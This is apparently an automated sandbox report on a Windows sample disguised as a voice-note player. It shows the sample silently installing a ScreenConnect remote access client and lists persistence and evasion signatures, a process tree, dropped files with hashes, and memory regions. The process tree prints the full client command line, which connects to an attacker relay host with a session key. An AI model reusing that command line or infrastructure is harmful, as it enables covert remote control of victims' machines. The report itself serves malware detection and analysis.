Analysis

  • max time kernel
    97s
  • max time network
    143s
  • platform
    windows11-21h2_x64
  • resource
    win11-20250502-en
  • resource tags

    arch:x64arch:x86image:win11-20250502-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    02/07/2025, 11:16

General

  • Target
    Play_Listen-VoiceNote-937039492790288238.exe
  • Size 5.4MB
  • Sample250702-nc69pawrx2
  • SHA256 aa04dce309e673624bd6778de8ceb8c193b2412e48eb6b160b72fec00cbaacb4
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Sets service image path in registry 2 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 3 IoCs
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Drops file in Program Files directory 17 IoCs
  • Drops file in Windows directory 17 IoCs
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\Play_Listen-VoiceNote-937039492790288238.exe
    "C:\Users\Admin\AppData\Local\Temp\Play_Listen-VoiceNote-937039492790288238.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4228
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\3baedabf7ce1133a\ScreenConnect.ClientSetup.msi"
      2⤵
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4604
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3964
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding AB1F0D590E8C7DF8E43B3F4CEF56D9A8 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1684
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI954B.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240621000 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:804
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:3544
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 1940DF4D812C470171CD8A159A3EA1DF
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:1456
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding C82F492AAEA2591288DD4FCEB5F612C8 E Global\MSI0000
        2⤵
        • Drops file in Windows directory
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:3912
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:460
    • C:\Program Files (x86)\ScreenConnect Client (3baedabf7ce1133a)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (3baedabf7ce1133a)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relay.2ndlsid.sbs&p=8041&s=b970b1db-97cc-437b-b562-fbe7267b34dc&k=BgIAAACkAABSU0ExAAgAAAEAAQBp8ffcoq9ue8UmFywhEUI5n4Xt1lbLEnCS%2fNXbea97w0rjqMbK5twEb4ZjQleM5bCr9WEe8VGbZRdG7J7B9yQMAUhIL%2fNOjm%2fdlA0tkQrkfws5Vf8liyjU4J0F5PI2Mw9dYgpMO6286ZPIzVz17M1l8nRHh62GU%2bGM4KjoWRQ3hgA7G5TbBTWbGrF8Y%2fWdrmY3ScuHRBSfH%2bN5a2AXjodCzs9F2QyAFNzPBJ32OHrbKcFb3EW3JGfASNPKadfWLUNr6csLEXQAUzSZXkwQEsekbyVnevos4rpwWr9rqI7HBPGibXWl7y67ATOZqaNDlnEeuekXOdf6wzmckUPDNPnh"
      1⤵
      • Sets service image path in registry
      • Drops file in System32 directory
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2408
      • C:\Program Files (x86)\ScreenConnect Client (3baedabf7ce1133a)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (3baedabf7ce1133a)\ScreenConnect.WindowsClient.exe" "RunRole" "60a47e50-d65c-4a9b-b262-64212a5b1b58" "User"
        2⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:3828
      • C:\Program Files (x86)\ScreenConnect Client (3baedabf7ce1133a)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (3baedabf7ce1133a)\ScreenConnect.WindowsClient.exe" "RunRole" "c394d91f-e400-4fc9-bc9e-5dd06259cf62" "System"
        2⤵
        • Drops file in System32 directory
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:3104

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          e57c1f9.rbs

          • Path C:\Config.Msi\e57c1f9.rbs
          • Size 214KB
          • SHA256 ab9607a9512eee154a8d783851b1007f398ac201cf3852ab8ab46e5f22b1ba6c
          • MD5 SHA1 SHA512 SSDEEP

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (3baedabf7ce1133a)\Client.en-US.resources
          • Size 48KB
          • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
          • MD5 SHA1 SHA512 SSDEEP

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (3baedabf7ce1133a)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (3baedabf7ce1133a)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (3baedabf7ce1133a)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (3baedabf7ce1133a)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (3baedabf7ce1133a)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (3baedabf7ce1133a)\ScreenConnect.WindowsClient.exe
          • Size 593KB
          • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (3baedabf7ce1133a)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (3baedabf7ce1133a)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (3baedabf7ce1133a)\app.config
          • Size 508B
          • SHA256 779c074d07a35de132ade25762da935077cf6a7da2c3812cc4f432d5dad73394
          • MD5 SHA1 SHA512

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (3baedabf7ce1133a)\system.config
          • Size 935B
          • SHA256 5ebe6ae46f85e81ae0eadb23a3aa4d4ba1818d126599eb45317cb63e6b85e914
          • MD5 SHA1 SHA512

          MSI954B.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI954B.tmp
          • Size 1.0MB
          • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
          • MD5 SHA1 SHA512 SSDEEP

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI954B.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI954B.tmp-\ScreenConnect.Core.dll
          • Size 538KB
          • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI954B.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI954B.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.ClientSetup.msi

          • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\3baedabf7ce1133a\ScreenConnect.ClientSetup.msi
          • Size 9.5MB
          • SHA256 c4c6877adce049c379bb2d13fb5a2414317a727208701397b36aaf306e1e1e0d
          • MD5 SHA1 SHA512 SSDEEP

          MSIC38F.tmp

          • Path C:\Windows\Installer\MSIC38F.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 24.6MB
          • SHA256 3fc95cc650641ed728934c356cf90139b023f75f20e9ce2c870c7a61f19f8428
          • MD5 SHA1 SHA512 SSDEEP

          {d7c10287-b83d-4096-87b0-95a27049f727}_OnDiskSnapshotProp

          • Path \??\Volume{c7b7f4ce-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{d7c10287-b83d-4096-87b0-95a27049f727}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 cae7b3e774552396c7c53de5efb8b803733fedd0321ffcfd99585c036730bfe9
          • MD5 SHA1 SHA512 SSDEEP

          memory/804-41-0x0000000005760000-0x00000000057EC000-memory.dmp

          memory/804-45-0x00000000059A0000-0x0000000005B4C000-memory.dmp

          memory/804-33-0x0000000005690000-0x00000000056BE000-memory.dmp

          memory/804-37-0x00000000056C0000-0x00000000056CA000-memory.dmp

          memory/2408-136-0x0000000003FE0000-0x00000000040B5000-memory.dmp

          memory/2408-127-0x0000000003D00000-0x0000000003D50000-memory.dmp

          memory/2408-102-0x0000000003780000-0x0000000003798000-memory.dmp

          memory/2408-132-0x0000000003DF0000-0x0000000003E82000-memory.dmp

          memory/2408-134-0x0000000003AC0000-0x0000000003B01000-memory.dmp

          memory/2408-131-0x0000000003CB0000-0x0000000003CE6000-memory.dmp

          memory/3828-150-0x0000000002440000-0x0000000002458000-memory.dmp

          memory/3828-149-0x000000001BA50000-0x000000001BBD8000-memory.dmp

          memory/3828-143-0x00000000002C0000-0x0000000000358000-memory.dmp

          memory/3828-151-0x00000000024C0000-0x00000000024D8000-memory.dmp

          memory/3828-148-0x000000001B510000-0x000000001B6BC000-memory.dmp

          memory/3828-152-0x000000001AEE0000-0x000000001AF21000-memory.dmp

          memory/3828-144-0x0000000002460000-0x0000000002496000-memory.dmp

          memory/3828-145-0x000000001B2D0000-0x000000001B35C000-memory.dmp

          memory/4228-0-0x000000007454E000-0x000000007454F000-memory.dmp

          memory/4228-3-0x0000000074540000-0x0000000074CF1000-memory.dmp

          memory/4228-2-0x0000000005710000-0x0000000005A02000-memory.dmp

          memory/4228-1-0x0000000001480000-0x0000000001488000-memory.dmp

          memory/4228-4-0x0000000005310000-0x000000000539C000-memory.dmp

          memory/4228-5-0x00000000053A0000-0x00000000053C2000-memory.dmp

          memory/4228-6-0x0000000005410000-0x00000000055BC000-memory.dmp

          memory/4228-7-0x0000000074540000-0x0000000074CF1000-memory.dmp

          memory/4228-8-0x0000000005FB0000-0x0000000006556000-memory.dmp

          memory/4228-9-0x0000000074540000-0x0000000074CF1000-memory.dmp

          memory/4228-10-0x0000000074540000-0x0000000074CF1000-memory.dmp

          memory/4228-13-0x0000000074540000-0x0000000074CF1000-memory.dmp